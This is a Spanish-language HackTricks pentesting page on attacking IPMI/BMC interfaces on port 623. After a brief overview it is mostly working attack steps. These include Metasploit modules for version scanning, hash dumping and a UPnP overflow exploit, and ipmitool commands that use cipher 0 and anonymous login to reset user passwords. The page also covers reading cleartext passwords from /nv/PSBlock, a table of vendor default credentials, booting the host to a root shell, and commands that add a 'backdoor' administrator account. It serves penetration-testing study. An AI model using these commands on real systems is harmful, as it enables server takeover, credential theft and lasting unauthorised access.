623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Información Básica

Visión general de IPMI

Intelligent Platform Management Interface (IPMI) ofrece un enfoque estandarizado para la gestión remota y monitoreo de sistemas informáticos, independientemente del sistema operativo o estado de energía. Esta tecnología permite a los administradores de sistemas gestionar sistemas de forma remota, incluso cuando están apagados o no responden, y es especialmente útil para:

  • Configuraciones de arranque previo al sistema operativo

  • Gestión de apagado

  • Recuperación de fallos del sistema

IPMI es capaz de monitorear temperaturas, voltajes, velocidades de los ventiladores y fuentes de alimentación, además de proporcionar información de inventario, revisar registros de hardware y enviar alertas a través de SNMP. Para su funcionamiento es esencial una fuente de alimentación y una conexión LAN.

Desde su introducción por Intel en 1998, IPMI ha sido compatible con numerosos proveedores, mejorando las capacidades de gestión remota, especialmente con el soporte de la versión 2.0 para serie sobre LAN. Los componentes clave incluyen:

  • Controlador de Gestión de Placa Base (BMC): El microcontrolador principal para las operaciones de IPMI.

  • Buses e Interfaces de Comunicación: Para comunicación interna y externa, incluyendo ICMB, IPMB y varias interfaces para conexiones locales y de red.

  • Memoria IPMI: Para almacenar registros y datos.

Puerto Predeterminado: 623/UDP/TCP (Generalmente se encuentra en UDP pero también podría estar en TCP)

Enumeración

Descubrimiento

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Puedes identificar la versión usando:

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

Vulnerabilidades de IPMI

En el ámbito de IPMI 2.0, se descubrió una importante falla de seguridad por Dan Farmer, exponiendo una vulnerabilidad a través del tipo de cifrado 0. Esta vulnerabilidad, documentada en detalle en la investigación de Dan Farmer, permite el acceso no autorizado con cualquier contraseña siempre que se apunte a un usuario válido. Esta debilidad se encontró en varios BMCs de fabricantes como HP, Dell y Supermicro, lo que sugiere un problema generalizado en todas las implementaciones de IPMI 2.0.

Bypass de Autenticación de IPMI a través de Cipher 0

Para detectar esta falla, se puede emplear el siguiente escáner auxiliar de Metasploit:

use auxiliary/scanner/ipmi/ipmi_cipher_zero

La explotación de esta falla es posible con ipmitool, como se muestra a continuación, lo que permite la lista y modificación de contraseñas de usuario:

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

IPMI 2.0 Recuperación remota de hash de contraseña de autenticación RAKP

Esta vulnerabilidad permite la recuperación de contraseñas con hash salado (MD5 y SHA1) para cualquier nombre de usuario existente. Para probar esta vulnerabilidad, Metasploit ofrece un módulo:

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Autenticación Anónima de IPMI

Una configuración predeterminada en muchos BMCs permite el acceso "anónimo", caracterizado por cadenas de nombre de usuario y contraseña nulas. Esta configuración puede ser explotada para restablecer contraseñas de cuentas de usuario nombradas utilizando ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Contraseñas en texto claro de IPMI de Supermicro

Una elección de diseño crítica en IPMI 2.0 requiere el almacenamiento de contraseñas en texto claro dentro de los BMC para fines de autenticación. El almacenamiento de Supermicro de estas contraseñas en ubicaciones como /nv/PSBlock o /nv/PSStore plantea preocupaciones de seguridad significativas:

cat /nv/PSBlock

Vulnerabilidad de UPnP de Supermicro IPMI

La inclusión por parte de Supermicro de un escucha UPnP SSDP en su firmware de IPMI, particularmente en el puerto UDP 1900, introduce un grave riesgo de seguridad. Las vulnerabilidades en el SDK de Intel para Dispositivos UPnP versión 1.3.1, como se detalla en la divulgación de Rapid7, permiten el acceso root al BMC:

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Ataque de Fuerza Bruta

HP aleatoriza la contraseña predeterminada para su producto Integrated Lights Out (iLO) durante la fabricación. Esta práctica contrasta con otros fabricantes, que tienden a utilizar credenciales predeterminadas estáticas. Se proporciona un resumen de nombres de usuario y contraseñas predeterminadas para varios productos de la siguiente manera:

  • HP Integrated Lights Out (iLO) utiliza una cadena de 8 caracteres aleatoria de fábrica como su contraseña predeterminada, mostrando un nivel de seguridad más alto.

  • Productos como Dell's iDRAC, IBM's IMM y Fujitsu's Integrated Remote Management Controller utilizan contraseñas fáciles de adivinar como "calvin", "PASSW0RD" (con un cero) y "admin" respectivamente.

  • De manera similar, Supermicro IPMI (2.0), Oracle/Sun ILOM y ASUS iKVM BMC también utilizan credenciales predeterminadas simples, con "ADMIN", "changeme" y "admin" como contraseñas.

Accediendo al Host a través de BMC

El acceso administrativo al Controlador de Gestión de la Placa Base (BMC) abre diversas vías para acceder al sistema operativo del host. Un enfoque directo implica explotar la funcionalidad de Teclado, Video, Ratón (KVM) del BMC. Esto se puede hacer reiniciando el host a un shell raíz a través de GRUB (usando init=/bin/sh) o arrancando desde un CD-ROM virtual configurado como un disco de rescate. Estos métodos permiten la manipulación directa del disco del host, incluida la inserción de puertas traseras, extracción de datos o cualquier acción necesaria para una evaluación de seguridad. Sin embargo, esto requiere reiniciar el host, lo cual es una desventaja significativa. Sin reiniciar, acceder al host en ejecución es más complejo y varía según la configuración del host. Si la consola física o serie del host permanece iniciada, se puede tomar fácilmente a través de las funcionalidades KVM o serial-over-LAN (sol) del BMC mediante ipmitool. Explorar la explotación de recursos de hardware compartidos, como el bus i2c y el chip Super I/O, es un área que requiere una investigación adicional.

Introduciendo Puertas Traseras en BMC desde el Host

Tras comprometer un host equipado con un BMC, la interfaz local del BMC se puede aprovechar para insertar una cuenta de usuario de puerta trasera, creando una presencia duradera en el servidor. Este ataque requiere la presencia de ipmitool en el host comprometido y la activación del soporte del controlador BMC. Los siguientes comandos ilustran cómo se puede inyectar una nueva cuenta de usuario en el BMC utilizando la interfaz local del host, lo que evita la necesidad de autenticación. Esta técnica es aplicable a una amplia gama de sistemas operativos, incluidos Linux, Windows, BSD e incluso DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • puerto:623

Referencias

Última actualización